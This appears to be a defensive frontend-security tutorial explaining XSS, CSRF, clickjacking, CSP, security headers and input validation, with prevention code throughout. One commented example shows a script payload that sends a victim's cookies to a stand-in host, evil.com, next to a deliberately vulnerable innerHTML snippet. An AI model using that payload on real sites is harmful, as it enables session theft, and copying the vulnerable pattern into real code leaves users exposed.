Security starts at the frontend

Many frontend developers think that security is solely the backend's responsibility. This is a serious mistake. The frontend is the first line of defense and the most exposed attack surface of your application.

In this article we'll cover the most critical vulnerabilities affecting the frontend and how to prevent them with concrete code.

XSS: Cross-Site Scripting

XSS is the most common vulnerability in web applications. It occurs when an attacker injects malicious scripts that execute in other users' browsers.

Types of XSS

Type Description Persistence
Reflected The script comes from the URL or parameters Non-persistent
Stored The script is saved in the database Persistent
DOM-based The script manipulates the DOM directly Non-persistent

Vulnerability example

// VULNERABLE: insertar input del usuario directamente en el DOM
const searchQuery = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').innerHTML = `Resultados para: ${searchQuery}`;

// Un atacante puede enviar:
// https://tusitio.com/buscar?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Prevention in vanilla JavaScript

The golden rule: never use innerHTML with user data. Use textContent for plain text.

// SEGURO: usar textContent
const searchQuery = new URLSearchParams(window.location.search).get('q') ?? '';
const resultsEl = document.getElementById('results');
if (resultsEl) {
  resultsEl.textContent = `Resultados para: ${searchQuery}`;
}

Prevention in Angular

Angular automatically sanitizes interpolations in templates. However, there are risk points:

// Angular sanitiza esto automaticamente
// template: `<p>{{ userInput() }}</p>`

// PELIGROSO: bypass de sanitizacion
// Solo usa bypassSecurityTrustHtml cuando confias 100% en el origen
// Ejemplo: contenido de Markdown procesado internamente

CSRF: Cross-Site Request Forgery

CSRF tricks the browser into sending authenticated requests to sites where the user has an active session.

How the attack works

  1. The user logs into your application (has a session cookie)
  2. The user visits a malicious site
  3. The malicious site makes a request to your API using the user's cookie
  4. Your API processes the request as if it were legitimate

Prevention with CSRF tokens

// Middleware Express para generar y validar tokens CSRF
import crypto from 'crypto';

interface CsrfSession {
  csrfToken?: string;
}

function generateCsrfToken(): string {
  return crypto.randomBytes(32).toString('hex');
}

// Middleware: agregar token a la sesión
function csrfProtection(
  req: { session: CsrfSession; method: string; headers: Record<string, string | undefined> },
  res: { status: (code: number) => { json: (body: Record<string, string>) => void } },
  next: () => void
): void {
  if (req.method === 'GET') {
    req.session.csrfToken = generateCsrfToken();
    next();
    return;
  }

  const token = req.headers['x-csrf-token'];
  if (!token || token !== req.session.csrfToken) {
    res.status(403).json({ error: 'Token CSRF invalido' });
    return;
  }

  next();
}

On the frontend

// Enviar el token CSRF en cada petición
async function secureFetch(url: string, options: RequestInit = {}): Promise<Response> {
  const csrfToken = document.querySelector<HTMLMetaElement>(
    'meta[name="csrf-token"]'
  )?.content;

  return fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      'X-CSRF-Token': csrfToken ?? ''
    },
    credentials: 'same-origin'
  });
}

Clickjacking

Clickjacking hides your site inside an iframe on a malicious site, tricking the user into clicking without knowing it.

Prevention

// Header HTTP (configurar en el servidor)
// X-Frame-Options: DENY

// O con CSP (más moderno):
// Content-Security-Policy: frame-ancestors 'none'

// Defensa JavaScript adicional (framebusting)
if (window.self !== window.top) {
  // Estamos dentro de un iframe
  window.top.location = window.self.location;
}

Content Security Policy (CSP)

CSP is the most powerful defense mechanism against XSS. It defines exactly which resources your page can load.

Essential directives

Directive Controls Recommendation
default-src Fallback for all 'self'
script-src JavaScript 'self' (never 'unsafe-eval')
style-src CSS 'self' + hash or nonce
img-src Images 'self' + trusted domains
connect-src fetch/XHR 'self' + your API
frame-ancestors Who can embed you 'none'

Gradual implementation

Don't activate CSP all at once in production. Use the Content-Security-Policy-Report-Only mode first to detect violations without breaking the application.

Essential security headers

Every modern frontend should be served with these HTTP headers:

# Prevent MIME type sniffing
X-Content-Type-Options: nosniff

# Prevent clickjacking
X-Frame-Options: DENY

# Force HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# Control what information is sent in the Referer
Referrer-Policy: strict-origin-when-cross-origin

# Control browser APIs
Permissions-Policy: camera=(), microphone=(), geolocation=()

Browser storage security

localStorage vs cookies

// NUNCA guardes tokens sensibles en localStorage
// localStorage es accesible por cualquier script (vulnerable a XSS)

// Para tokens de autenticación, usa cookies HttpOnly
// Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=Strict

// Si necesitas almacenar datos no sensibles en localStorage:
function safeStore(key: string, value: string): void {
  try {
    localStorage.setItem(key, value);
  } catch {
    // QuotaExceededError o acceso denegado (modo privado)
    console.warn('No se pudo guardar en localStorage');
  }
}

Frontend input validation

Frontend validation is for UX, not for security. Always validate on the backend as well. But good frontend validation reduces the attack surface:

// Validaciones comunes
const validators = {
  email: (value: string): boolean =>
    /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(value),

  noHtml: (value: string): boolean =>
    !/<[^>]*>/g.test(value),

  maxLength: (value: string, max: number): boolean =>
    value.length <= max,

  alphanumeric: (value: string): boolean =>
    /^[a-zA-Z0-9\s]+$/.test(value),

  url: (value: string): boolean => {
    try {
      const url = new URL(value);
      return ['http:', 'https:'].includes(url.protocol);
    } catch {
      return false;
    }
  }
};

Frontend security checklist

Before each deploy, verify:

  • CSP headers configured and tested
  • All inputs sanitized and validated
  • No innerHTML with user data
  • Tokens in HttpOnly cookies, not in localStorage
  • HTTPS enforced with HSTS
  • Dependencies updated (npm audit)
  • HTTP security headers configured
  • No secrets or API keys in frontend code
  • CORS configured restrictively
  • X-Frame-Options or frame-ancestors configured

Conclusion

Frontend security is not optional. Every XSS, CSRF, or clickjacking vulnerability can compromise all your users. The defenses we've covered are the bare minimum for any modern web application.

Implement these protections from the start of the project, not as an afterthought. Security is much cheaper when designed from the beginning.